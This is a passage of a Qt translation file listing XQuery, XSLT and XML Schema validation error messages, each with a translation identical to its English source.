- <translation>A library module cannot be evaluated directly. It must be imported from a main module.</translation>
- </message>
- <message>
- <source>No template by name %1 exists.</source>
- <translation>No template by name %1 exists.</translation>
- </message>
- <message>
- <source>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</source>
- <translation>A value of type %1 cannot be a predicate. A predicate must have either a numeric type or an Effective Boolean Value type.</translation>
- </message>
- <message>
- <source>A positional predicate must evaluate to a single numeric value.</source>
- <translation>A positional predicate must evaluate to a single numeric value.</translation>
- </message>
- <message>
- <source>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</source>
- <translation>The target name in a processing instruction cannot be %1 in any combination of upper and lower case. Therefore, %2 is invalid.</translation>
- </message>
- <message>
- <source>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</source>
- <translation>%1 is not a valid target name in a processing instruction. It must be a %2 value, e.g. %3.</translation>
- </message>
- <message>
- <source>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</source>
- <translation>The last step in a path must contain either nodes or atomic values. It cannot be a mixture between the two.</translation>
- </message>
- <message>
- <source>No namespace binding exists for the prefix %1</source>
- <translation>No namespace binding exists for the prefix %1</translation>
- </message>
- <message>
- <source>No namespace binding exists for the prefix %1 in %2</source>
- <translation>No namespace binding exists for the prefix %1 in %2</translation>
- </message>
- <message>
- <source>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</source>
- <translation>The first argument to %1 cannot be of type %2. It must be a numeric type, xs:yearMonthDuration or xs:dayTimeDuration.</translation>
- </message>
- <message>
- <source>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation>The first argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</translation>
- </message>
- <message>
- <source>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</source>
- <translation>The second argument to %1 cannot be of type %2. It must be of type %3, %4, or %5.</translation>
- </message>
- <message>
- <source>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</source>
- <translation>If both values have zone offsets, they must have the same zone offset. %1 and %2 are not the same.</translation>
- </message>
- <message>
- <source>%1 must be followed by %2 or %3, not at the end of the replacement string.</source>
- <translation>%1 must be followed by %2 or %3, not at the end of the replacement string.</translation>
- </message>
- <message>
- <source>%1 and %2 match the start and end of a line.</source>
- <translation>%1 and %2 match the start and end of a line.</translation>
- </message>
- <message>
- <source>Whitespace characters are removed, except when they appear in character classes</source>
- <translation>Whitespace characters are removed, except when they appear in character classes</translation>
- </message>
- <message>
- <source>%1 is an invalid flag for regular expressions. Valid flags are:</source>
- <translation>%1 is an invalid flag for regular expressions. Valid flags are:</translation>
- </message>
- <message>
- <source>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</source>
- <translation>If the first argument is the empty sequence or a zero-length string (no namespace), a prefix cannot be specified. Prefix %1 was specified.</translation>
- </message>
- <message>
- <source>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</source>
- <translation>The normalization form %1 is unsupported. The supported forms are %2, %3, %4, and %5, and none, i.e. the empty string (no normalization).</translation>
- </message>
- <message>
- <source>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</source>
- <translation>A zone offset must be in the range %1..%2 inclusive. %3 is out of range.</translation>
- </message>
- <message>
- <source>Required cardinality is %1; got cardinality %2.</source>
- <translation>Required cardinality is %1; got cardinality %2.</translation>
- </message>
- <message>
- <source>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</source>
- <translation>The encoding %1 is invalid. It must contain Latin characters only, must not contain whitespace, and must match the regular expression %2.</translation>
- </message>
- <message>
- <source>The keyword %1 cannot occur with any other mode name.</source>
- <translation>The keyword %1 cannot occur with any other mode name.</translation>
- </message>
- <message>
- <source>No variable with name %1 exists</source>
- <translation>No variable with name %1 exists</translation>
- </message>
- <message>
- <source>The value of attribute %1 must be of type %2, which %3 isn&apos;t.</source>
- <translation>The value of attribute %1 must be of type %2, which %3 isn&apos;t.</translation>
- </message>
- <message>
- <source>The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.</source>
- <translation>The prefix %1 cannot be bound. By default, it is already bound to the namespace %2.</translation>
- </message>
- <message>
- <source>A variable with name %1 has already been declared.</source>
- <translation>A variable with name %1 has already been declared.</translation>
- </message>
- <message>
- <source>No value is available for the external variable with name %1.</source>
- <translation>No value is available for the external variable with name %1.</translation>
- </message>
- <message>
- <source>A stylesheet function must have a prefixed name.</source>
- <translation>A stylesheet function must have a prefixed name.</translation>
- </message>
- <message>
- <source>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</source>
- <translation>The namespace %1 is reserved; therefore user defined functions may not use it. Try the predefined prefix %2, which exists for these cases.</translation>
- </message>
- <message>
- <source>An argument with name %1 has already been declared. Every argument name must be unique.</source>
- <translation>An argument with name %1 has already been declared. Every argument name must be unique.</translation>
- </message>
- <message>
- <source>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</source>
- <translation>When function %1 is used for matching inside a pattern, the argument must be a variable reference or a string literal.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</source>
- <translation>In an XSL-T pattern, the first argument to function %1 must be a string literal, when used for matching.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</source>
- <translation>In an XSL-T pattern, the first argument to function %1 must be a literal or a variable reference, when used for matching.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, function %1 cannot have a third argument.</source>
- <translation>In an XSL-T pattern, function %1 cannot have a third argument.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</source>
- <translation>In an XSL-T pattern, only function %1 and %2, not %3, can be used for matching.</translation>
- </message>
- <message>
- <source>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</source>
- <translation>In an XSL-T pattern, axis %1 cannot be used, only axis %2 or %3 can.</translation>
- </message>
- <message>
- <source>%1 is an invalid template mode name.</source>
- <translation>%1 is an invalid template mode name.</translation>
- </message>
- <message>
- <source>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</source>
- <translation>The name of a variable bound in a for-expression must be different from the positional variable. Hence, the two variables named %1 collide.</translation>
- </message>
- <message>
- <source>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</source>
- <translation>The Schema Validation Feature is not supported. Hence, %1-expressions may not be used.</translation>
- </message>
- <message>
- <source>None of the pragma expressions are supported. Therefore, a fallback expression must be present</source>
- <translation>None of the pragma expressions are supported. Therefore, a fallback expression must be present</translation>
- </message>
- <message>
- <source>Each name of a template parameter must be unique; %1 is duplicated.</source>
- <translation>Each name of a template parameter must be unique; %1 is duplicated.</translation>
- </message>
- <message>
- <source>No function with name %1 is available.</source>
- <translation>No function with name %1 is available.</translation>
- </message>
- <message>
- <source>%1 is not a valid numeric literal.</source>
- <translation>%1 is not a valid numeric literal.</translation>
- </message>
- <message>
- <source>W3C XML Schema identity constraint selector</source>
- <translation>W3C XML Schema identity constraint selector</translation>
- </message>
- <message>
- <source>W3C XML Schema identity constraint field</source>
- <translation>W3C XML Schema identity constraint field</translation>
- </message>
- <message>
- <source>A construct was encountered which is disallowed in the current language(%1).</source>
- <translation>A construct was encountered which is disallowed in the current language(%1).</translation>
- </message>
- <message>
- <source>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation>Namespace %1 can only be bound to %2 (and it is, in either case, pre-declared).</translation>
- </message>
- <message>
- <source>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</source>
- <translation>Prefix %1 can only be bound to %2 (and it is, in either case, pre-declared).</translation>
- </message>
- <message>
- <source>An attribute with name %1 has already appeared on this element.</source>
- <translation>An attribute with name %1 has already appeared on this element.</translation>
- </message>
- <message>
- <source>A direct element constructor is not well-formed. %1 is ended with %2.</source>
- <translation>A direct element constructor is not well-formed. %1 is ended with %2.</translation>
- </message>
- <message>
- <source>The name %1 does not refer to any schema type.</source>
- <translation>The name %1 does not refer to any schema type.</translation>
- </message>
- <message>
- <source>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</source>
- <translation>%1 is an complex type. Casting to complex types is not possible. However, casting to atomic types such as %2 works.</translation>
- </message>
- <message>
- <source>%1 is not an atomic type. Casting is only possible to atomic types.</source>
- <translation>%1 is not an atomic type. Casting is only possible to atomic types.</translation>
- </message>
- <message>
- <source>%1 is not a valid name for a processing-instruction.</source>
- <translation>%1 is not a valid name for a processing-instruction.</translation>
- </message>
- <message>
- <source>The name of an extension expression must be in a namespace.</source>
- <translation>The name of an extension expression must be in a namespace.</translation>
- </message>
- <message>
- <source>Required type is %1, but %2 was found.</source>
- <translation>Required type is %1, but %2 was found.</translation>
- </message>
- <message>
- <source>Promoting %1 to %2 may cause loss of precision.</source>
- <translation>Promoting %1 to %2 may cause loss of precision.</translation>
- </message>
- <message>
- <source>It&apos;s not possible to add attributes after any other kind of node.</source>
- <translation>It&apos;s not possible to add attributes after any other kind of node.</translation>
- </message>
- <message>
- <source>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</source>
- <translation>Only the Unicode Codepoint Collation is supported(%1). %2 is unsupported.</translation>
- </message>
- <message>
- <source>Integer division (%1) by zero (%2) is undefined.</source>
- <translation>Integer division (%1) by zero (%2) is undefined.</translation>
- </message>
- <message>
- <source>Division (%1) by zero (%2) is undefined.</source>
- <translation>Division (%1) by zero (%2) is undefined.</translation>
- </message>
- <message>
- <source>Modulus division (%1) by zero (%2) is undefined.</source>
- <translation>Modulus division (%1) by zero (%2) is undefined.</translation>
- </message>
- <message numerus="yes">
- <source>%1 takes at most %n argument(s). %2 is therefore invalid.</source>
- <translation>
- <numerusform>%1 takes at most %n argument(s). %2 is therefore invalid.</numerusform>
- <numerusform>%1 takes at most %n argument(s). %2 is therefore invalid.</numerusform>
- </translation>
- </message>
- <message numerus="yes">
- <source>%1 requires at least %n argument(s). %2 is therefore invalid.</source>
- <translation>
- <numerusform>%1 requires at least %n argument(s). %2 is therefore invalid.</numerusform>
- <numerusform>%1 requires at least %n argument(s). %2 is therefore invalid.</numerusform>
- </translation>
- </message>
- <message>
- <source>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</source>
- <translation>The root node of the second argument to function %1 must be a document node. %2 is not a document node.</translation>
- </message>
- <message>
- <source>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</source>
- <translation>The namespace for a user defined function cannot be empty (try the predefined prefix %1 which exists for cases like this)</translation>
- </message>
- <message>
- <source>A default namespace declaration must occur before function, variable, and option declarations.</source>
- <translation>A default namespace declaration must occur before function, variable, and option declarations.</translation>
- </message>
- <message>
- <source>Namespace declarations must occur before function, variable, and option declarations.</source>
- <translation>Namespace declarations must occur before function, variable, and option declarations.</translation>
- </message>
- <message>
- <source>Module imports must occur before function, variable, and option declarations.</source>
- <translation>Module imports must occur before function, variable, and option declarations.</translation>
- </message>
- <message>
- <source>%1 is not a whole number of minutes.</source>
- <translation>%1 is not a whole number of minutes.</translation>
- </message>
- <message>
- <source>Attribute %1 can&apos;t be serialized because it appears at the top level.</source>
- <translation>Attribute %1 can&apos;t be serialized because it appears at the top level.</translation>
- </message>
- <message>
- <source>%1 is an unsupported encoding.</source>
- <translation>%1 is an unsupported encoding.</translation>
- </message>
- <message>
- <source>%1 contains octets which are disallowed in the requested encoding %2.</source>
- <translation>%1 contains octets which are disallowed in the requested encoding %2.</translation>
- </message>
- <message>
- <source>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</source>
- <translation>The codepoint %1, occurring in %2 using encoding %3, is an invalid XML character.</translation>
- </message>
- <message>
- <source>Ambiguous rule match.</source>
- <translation>Ambiguous rule match.</translation>
- </message>
- <message>
- <source>In a namespace constructor, the value for a namespace cannot be an empty string.</source>
- <translation>In a namespace constructor, the value for a namespace cannot be an empty string.</translation>
- </message>
- <message>
- <source>The prefix must be a valid %1, which %2 is not.</source>
- <translation>The prefix must be a valid %1, which %2 is not.</translation>
- </message>
- <message>
- <source>The prefix %1 cannot be bound.</source>
- <translation>The prefix %1 cannot be bound.</translation>
- </message>
- <message>
- <source>Only the prefix %1 can be bound to %2 and vice versa.</source>
- <translation>Only the prefix %1 can be bound to %2 and vice versa.</translation>
- </message>
- <message>
- <source>The parameter %1 is required, but no corresponding %2 is supplied.</source>
- <translation>The parameter %1 is required, but no corresponding %2 is supplied.</translation>
- </message>
- <message>
- <source>The parameter %1 is passed, but no corresponding %2 exists.</source>
- <translation>The parameter %1 is passed, but no corresponding %2 exists.</translation>
- </message>
- <message>
- <source>The URI cannot have a fragment</source>
- <translation>The URI cannot have a fragment</translation>
- </message>
- <message>
- <source>Element %1 is not allowed at this location.</source>
- <translation>Element %1 is not allowed at this location.</translation>
- </message>
- <message>
- <source>Text nodes are not allowed at this location.</source>
- <translation>Text nodes are not allowed at this location.</translation>
- </message>
- <message>
- <source>Parse error: %1</source>
- <translation>Parse error: %1</translation>
- </message>
- <message>
- <source>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</source>
- <translation>The value of the XSL-T version attribute must be a value of type %1, which %2 isn&apos;t.</translation>
- </message>
- <message>
- <source>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</source>
- <translation>Running an XSL-T 1.0 stylesheet with a 2.0 processor.</translation>
- </message>
- <message>
- <source>Unknown XSL-T attribute %1.</source>
- <translation>Unknown XSL-T attribute %1.</translation>
- </message>
- <message>
- <source>Attribute %1 and %2 are mutually exclusive.</source>
- <translation>Attribute %1 and %2 are mutually exclusive.</translation>
- </message>
- <message>
- <source>In a simplified stylesheet module, attribute %1 must be present.</source>
- <translation>In a simplified stylesheet module, attribute %1 must be present.</translation>
- </message>
- <message>
- <source>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</source>
- <translation>If element %1 has no attribute %2, it cannot have attribute %3 or %4.</translation>
- </message>
- <message>
- <source>Element %1 must have at least one of the attributes %2 or %3.</source>
- <translation>Element %1 must have at least one of the attributes %2 or %3.</translation>
- </message>
- <message>
- <source>At least one mode must be specified in the %1-attribute on element %2.</source>
- <translation>At least one mode must be specified in the %1-attribute on element %2.</translation>
- </message>
- <message>
- <source>Element %1 must come last.</source>
- <translation>Element %1 must come last.</translation>
- </message>
- <message>
- <source>At least one %1-element must occur before %2.</source>
- <translation>At least one %1-element must occur before %2.</translation>
- </message>
- <message>
- <source>Only one %1-element can appear.</source>
- <translation>Only one %1-element can appear.</translation>
- </message>
- <message>
- <source>At least one %1-element must occur inside %2.</source>
- <translation>At least one %1-element must occur inside %2.</translation>
- </message>
- <message>
- <source>When attribute %1 is present on %2, a sequence constructor cannot be used.</source>
- <translation>When attribute %1 is present on %2, a sequence constructor cannot be used.</translation>
- </message>
- <message>
- <source>Element %1 must have either a %2-attribute or a sequence constructor.</source>
- <translation>Element %1 must have either a %2-attribute or a sequence constructor.</translation>
- </message>
- <message>
- <source>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</source>
- <translation>When a parameter is required, a default value cannot be supplied through a %1-attribute or a sequence constructor.</translation>
- </message>
- <message>
- <source>Element %1 cannot have children.</source>
- <translation>Element %1 cannot have children.</translation>
- </message>
- <message>
- <source>Element %1 cannot have a sequence constructor.</source>
- <translation>Element %1 cannot have a sequence constructor.</translation>
- </message>
- <message>
- <source>The attribute %1 cannot appear on %2, when it is a child of %3.</source>
- <translation>The attribute %1 cannot appear on %2, when it is a child of %3.</translation>
- </message>
- <message>
- <source>A parameter in a function cannot be declared to be a tunnel.</source>
- <translation>A parameter in a function cannot be declared to be a tunnel.</translation>
- </message>
- <message>
- <source>This processor is not Schema-aware and therefore %1 cannot be used.</source>
- <translation>This processor is not Schema-aware and therefore %1 cannot be used.</translation>
- </message>
- <message>
- <source>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</source>
- <translation>Top level stylesheet elements must be in a non-null namespace, which %1 isn&apos;t.</translation>
- </message>
- <message>
- <source>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</source>
- <translation>The value for attribute %1 on element %2 must either be %3 or %4, not %5.</translation>
- </message>
- <message>
- <source>Attribute %1 cannot have the value %2.</source>
- <translation>Attribute %1 cannot have the value %2.</translation>
- </message>
- <message>
- <source>The attribute %1 can only appear on the first %2 element.</source>
- <translation>The attribute %1 can only appear on the first %2 element.</translation>
- </message>
- <message>
- <source>At least one %1 element must appear as child of %2.</source>
- <translation>At least one %1 element must appear as child of %2.</translation>
- </message>
- <message>
- <source>%1 has inheritance loop in its base type %2.</source>
- <translation>%1 has inheritance loop in its base type %2.</translation>
- </message>
- <message>
- <source>Circular inheritance of base type %1.</source>
- <translation>Circular inheritance of base type %1.</translation>
- </message>
- <message>
- <source>Circular inheritance of union %1.</source>
- <translation>Circular inheritance of union %1.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by restriction as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by restriction as the latter defines it as final.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by extension as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by extension as the latter defines it as final.</translation>
- </message>
- <message>
- <source>Base type of simple type %1 cannot be complex type %2.</source>
- <translation>Base type of simple type %1 cannot be complex type %2.</translation>
- </message>
- <message>
- <source>Simple type %1 cannot have direct base type %2.</source>
- <translation>Simple type %1 cannot have direct base type %2.</translation>
- </message>
- <message>
- <source>Simple type %1 is not allowed to have base type %2.</source>
- <translation>Simple type %1 is not allowed to have base type %2.</translation>
- </message>
- <message>
- <source>Simple type %1 can only have simple atomic type as base type.</source>
- <translation>Simple type %1 can only have simple atomic type as base type.</translation>
- </message>
- <message>
- <source>Simple type %1 cannot derive from %2 as the latter defines restriction as final.</source>
- <translation>Simple type %1 cannot derive from %2 as the latter defines restriction as final.</translation>
- </message>
- <message>
- <source>Variety of item type of %1 must be either atomic or union.</source>
- <translation>Variety of item type of %1 must be either atomic or union.</translation>
- </message>
- <message>
- <source>Variety of member types of %1 must be atomic.</source>
- <translation>Variety of member types of %1 must be atomic.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by list as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by list as the latter defines it as final.</translation>
- </message>
- <message>
- <source>Simple type %1 is only allowed to have %2 facet.</source>
- <translation>Simple type %1 is only allowed to have %2 facet.</translation>
- </message>
- <message>
- <source>Base type of simple type %1 must have variety of type list.</source>
- <translation>Base type of simple type %1 must have variety of type list.</translation>
- </message>
- <message>
- <source>Base type of simple type %1 has defined derivation by restriction as final.</source>
- <translation>Base type of simple type %1 has defined derivation by restriction as final.</translation>
- </message>
- <message>
- <source>Item type of base type does not match item type of %1.</source>
- <translation>Item type of base type does not match item type of %1.</translation>
- </message>
- <message>
- <source>Simple type %1 contains not allowed facet type %2.</source>
- <translation>Simple type %1 contains not allowed facet type %2.</translation>
- </message>
- <message>
- <source>%1 is not allowed to derive from %2 by union as the latter defines it as final.</source>
- <translation>%1 is not allowed to derive from %2 by union as the latter defines it as final.</translation>
- </message>
- <message>
- <source>%1 is not allowed to have any facets.</source>
- <translation>%1 is not allowed to have any facets.</translation>
- </message>
- <message>
- <source>Base type %1 of simple type %2 must have variety of union.</source>
- <translation>Base type %1 of simple type %2 must have variety of union.</translation>
- </message>
- <message>
- <source>Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.</source>
- <translation>Base type %1 of simple type %2 is not allowed to have restriction in %3 attribute.</translation>
- </message>
- <message>
- <source>Member type %1 cannot be derived from member type %2 of %3&apos;s base type %4.</source>
- <translation>Member type %1 cannot be derived from member type %2 of %3&apos;s base type %4.</translation>
- </message>
- <message>
- <source>Derivation method of %1 must be extension because the base type %2 is a simple type.</source>
- <translation>Derivation method of %1 must be extension because the base type %2 is a simple type.</translation>
- </message>
- <message>
- <source>Complex type %1 has duplicated element %2 in its content model.</source>
- <translation>Complex type %1 has duplicated element %2 in its content model.</translation>
- </message>
- <message>
- <source>Complex type %1 has non-deterministic content.</source>
- <translation>Complex type %1 has non-deterministic content.</translation>
- </message>
- <message>
- <source>Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.</source>
- <translation>Attributes of complex type %1 are not a valid extension of the attributes of base type %2: %3.</translation>
- </message>
- <message>
- <source>Content model of complex type %1 is not a valid extension of content model of %2.</source>
- <translation>Content model of complex type %1 is not a valid extension of content model of %2.</translation>
- </message>
- <message>
- <source>Complex type %1 must have simple content.</source>
- <translation>Complex type %1 must have simple content.</translation>
- </message>
- <message>
- <source>Complex type %1 must have the same simple type as its base class %2.</source>
- <translation>Complex type %1 must have the same simple type as its base class %2.</translation>
- </message>
- <message>
- <source>Complex type %1 cannot be derived from base type %2%3.</source>
- <translation>Complex type %1 cannot be derived from base type %2%3.</translation>
- </message>
- <message>
- <source>Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.</source>
- <translation>Attributes of complex type %1 are not a valid restriction from the attributes of base type %2: %3.</translation>
- </message>
- <message>
- <source>Complex type %1 with simple content cannot be derived from complex base type %2.</source>
- <translation>Complex type %1 with simple content cannot be derived from complex base type %2.</translation>
- </message>
- <message>
- <source>Item type of simple type %1 cannot be a complex type.</source>
- <translation>Item type of simple type %1 cannot be a complex type.</translation>
- </message>
- <message>
- <source>Member type of simple type %1 cannot be a complex type.</source>
- <translation>Member type of simple type %1 cannot be a complex type.</translation>
- </message>
- <message>
- <source>%1 is not allowed to have a member type with the same name as itself.</source>
- <translation>%1 is not allowed to have a member type with the same name as itself.</translation>
- </message>
- <message>
- <source>%1 facet collides with %2 facet.</source>
- <translation>%1 facet collides with %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet must have the same value as %2 facet of base type.</source>
- <translation>%1 facet must have the same value as %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet must be equal or greater than %2 facet of base type.</source>
- <translation>%1 facet must be equal or greater than %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet must be less than or equal to %2 facet of base type.</source>
- <translation>%1 facet must be less than or equal to %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet contains invalid regular expression</source>
- <translation>%1 facet contains invalid regular expression</translation>
- </message>
- <message>
- <source>Unknown notation %1 used in %2 facet.</source>
- <translation>Unknown notation %1 used in %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet contains invalid value %2: %3.</source>
- <translation>%1 facet contains invalid value %2: %3.</translation>
- </message>
- <message>
- <source>%1 facet cannot be %2 or %3 if %4 facet of base type is %5.</source>
- <translation>%1 facet cannot be %2 or %3 if %4 facet of base type is %5.</translation>
- </message>
- <message>
- <source>%1 facet cannot be %2 if %3 facet of base type is %4.</source>
- <translation>%1 facet cannot be %2 if %3 facet of base type is %4.</translation>
- </message>
- <message>
- <source>%1 facet must be less than or equal to %2 facet.</source>
- <translation>%1 facet must be less than or equal to %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet must be less than %2 facet of base type.</source>
- <translation>%1 facet must be less than %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet and %2 facet cannot appear together.</source>
- <translation>%1 facet and %2 facet cannot appear together.</translation>
- </message>
- <message>
- <source>%1 facet must be greater than %2 facet of base type.</source>
- <translation>%1 facet must be greater than %2 facet of base type.</translation>
- </message>
- <message>
- <source>%1 facet must be less than %2 facet.</source>
- <translation>%1 facet must be less than %2 facet.</translation>
- </message>
- <message>
- <source>%1 facet must be greater than or equal to %2 facet of base type.</source>
- <translation>%1 facet must be greater than or equal to %2 facet of base type.</translation>
- </message>
- <message>
- <source>Simple type contains not allowed facet %1.</source>
- <translation>Simple type contains not allowed facet %1.</translation>
- </message>
- <message>
- <source>%1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.</source>
- <translation>%1, %2, %3, %4, %5 and %6 facets are not allowed when derived by list.</translation>
- </message>
- <message>
- <source>Only %1 and %2 facets are allowed when derived by union.</source>
- <translation>Only %1 and %2 facets are allowed when derived by union.</translation>
- </message>
- <message>
- <source>%1 contains %2 facet with invalid data: %3.</source>
- <translation>%1 contains %2 facet with invalid data: %3.</translation>
- </message>
- <message>
- <source>Attribute group %1 contains attribute %2 twice.</source>
- <translation>Attribute group %1 contains attribute %2 twice.</translation>
- </message>
- <message>
- <source>Attribute group %1 contains two different attributes that both have types derived from %2.</source>
- <translation>Attribute group %1 contains two different attributes that both have types derived from %2.</translation>
- </message>
- <message>
- <source>Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
- <translation>Attribute group %1 contains attribute %2 that has value constraint but type that inherits from %3.</translation>
- </message>
- <message>
- <source>Complex type %1 contains attribute %2 twice.</source>
- <translation>Complex type %1 contains attribute %2 twice.</translation>
- </message>
- <message>
- <source>Complex type %1 contains two different attributes that both have types derived from %2.</source>
- <translation>Complex type %1 contains two different attributes that both have types derived from %2.</translation>
- </message>
- <message>
- <source>Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.</source>
- <translation>Complex type %1 contains attribute %2 that has value constraint but type that inherits from %3.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed to have a value constraint if its base type is complex.</source>
- <translation>Element %1 is not allowed to have a value constraint if its base type is complex.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed to have a value constraint if its type is derived from %2.</source>
- <translation>Element %1 is not allowed to have a value constraint if its type is derived from %2.</translation>
- </message>
- <message>
- <source>Value constraint of element %1 is not of elements type: %2.</source>
- <translation>Value constraint of element %1 is not of elements type: %2.</translation>
- </message>
- <message>
- <source>Element %1 is not allowed to have substitution group affiliation as it is no global element.</source>
- <translation>Element %1 is not allowed to have substitution group affiliation as it is no global element.</translation>
- </message>
- <message>
- <source>Type of element %1 cannot be derived from type of substitution group affiliation.</source>
- <translation>Type of element %1 cannot be derived from type of substitution group affiliation.</translation>
- </message>
- <message>
- <source>Value constraint of attribute %1 is not of attributes type: %2.</source>
- <translation>Value constraint of attribute %1 is not of attributes type: %2.</translation>
- </message>
- <message>
- <source>Attribute %1 has value constraint but has type derived from %2.</source>
- <translation>Attribute %1 has value constraint but has type derived from %2.</translation>
- </message>
- <message>
- <source>%1 attribute in derived complex type must be %2 like in base type.</source>
- <translation>%1 attribute in derived complex type must be %2 like in base type.</translation>
- </message>
- <message>
- <source>Attribute %1 in derived complex type must have %2 value constraint like in base type.</source>
- <translation>Attribute %1 in derived complex type must have %2 value constraint like in base type.</translation>
- </message>
- <message>
- <source>Attribute %1 in derived complex type must have the same %2 value constraint like in base type.</source>
- <translation>Attribute %1 in derived complex type must have the same %2 value constraint like in base type.</translation>
- </message>
- <message>
- <source>Attribute %1 in derived complex type must have %2 value constraint.</source>
- <translation>Attribute %1 in derived complex type must have %2 value constraint.</translation>
- </message>
- <message>
- <source>processContent of base wildcard must be weaker than derived wildcard.</source>
- <translation>processContent of base wildcard must be weaker than derived wildcard.</translation>
- </message>
- <message>
- <source>Element %1 exists twice with different types.</source>
- <translation>Element %1 exists twice with different types.</translation>
- </message>
- <message>
- <source>Particle contains non-deterministic wildcards.</source>
- <translation>Particle contains non-deterministic wildcards.</translation>
- </message>
- <message>
- <source>Base attribute %1 is required but derived attribute is not.</source>
- <translation>Base attribute %1 is required but derived attribute is not.</translation>
- </message>
- <message>
- <source>Type of derived attribute %1 cannot be validly derived from type of base attribute.</source>
- <translation>Type of derived attribute %1 cannot be validly derived from type of base attribute.</translation>
- </message>
- <message>
- <source>Value constraint of derived attribute %1 does not match value constraint of base attribute.</source>
- <translation>Value constraint of derived attribute %1 does not match value constraint of base attribute.</translation>
- </message>
- <message>
- <source>Derived attribute %1 does not exist in the base definition.</source>
- <translation>Derived attribute %1 does not exist in the base definition.</translation>
- </message>
- <message>
- <source>Derived attribute %1 does not match the wildcard in the base definition.</source>
- <translation>Derived attribute %1 does not match the wildcard in the base definition.</translation>
- </message>
- <message>
- <source>Base attribute %1 is required but missing in derived definition.</source>
- <translation>Base attribute %1 is required but missing in derived definition.</translation>
- </message>
- <message>
- <source>Derived definition contains an %1 element that does not exists in the base definition</source>
- <translation>Derived definition contains an %1 element that does not exists in the base definition</translation>
- </message>
- <message>
- <source>Derived wildcard is not a subset of the base wildcard.</source>
- <translation>Derived wildcard is not a subset of the base wildcard.</translation>
- </message>
- <message>
- <source>%1 of derived wildcard is not a valid restriction of %2 of base wildcard</source>
- <translation>%1 of derived wildcard is not a valid restriction of %2 of base wildcard</translation>
- </message>
- <message>
- <source>Attribute %1 from base type is missing in derived type.</source>
- <translation>Attribute %1 from base type is missing in derived type.</translation>
- </message>
- <message>
- <source>Type of derived attribute %1 differs from type of base attribute.</source>
- <translation>Type of derived attribute %1 differs from type of base attribute.</translation>
- </message>
- <message>
- <source>Base definition contains an %1 element that is missing in the derived definition</source>
- <translation>Base definition contains an %1 element that is missing in the derived definition</translation>
- </message>
- <message>
- <source>%1 references unknown %2 or %3 element %4.</source>
- <translation>%1 references unknown %2 or %3 element %4.</translation>
- </message>
- <message>
- <source>%1 references identity constraint %2 that is no %3 or %4 element.</source>
- <translation>%1 references identity constraint %2 that is no %3 or %4 element.</translation>
- </message>
- <message>
- <source>%1 has a different number of fields from the identity constraint %2 that it references.</source>
- <translation>%1 has a different number of fields from the identity constraint %2 that it references.</translation>
- </message>
- <message>
- <source>Base type %1 of %2 element cannot be resolved.</source>
- <translation>Base type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
- <source>Item type %1 of %2 element cannot be resolved.</source>
- <translation>Item type %1 of %2 element cannot be resolved.</translation>
- </message>
- <message>
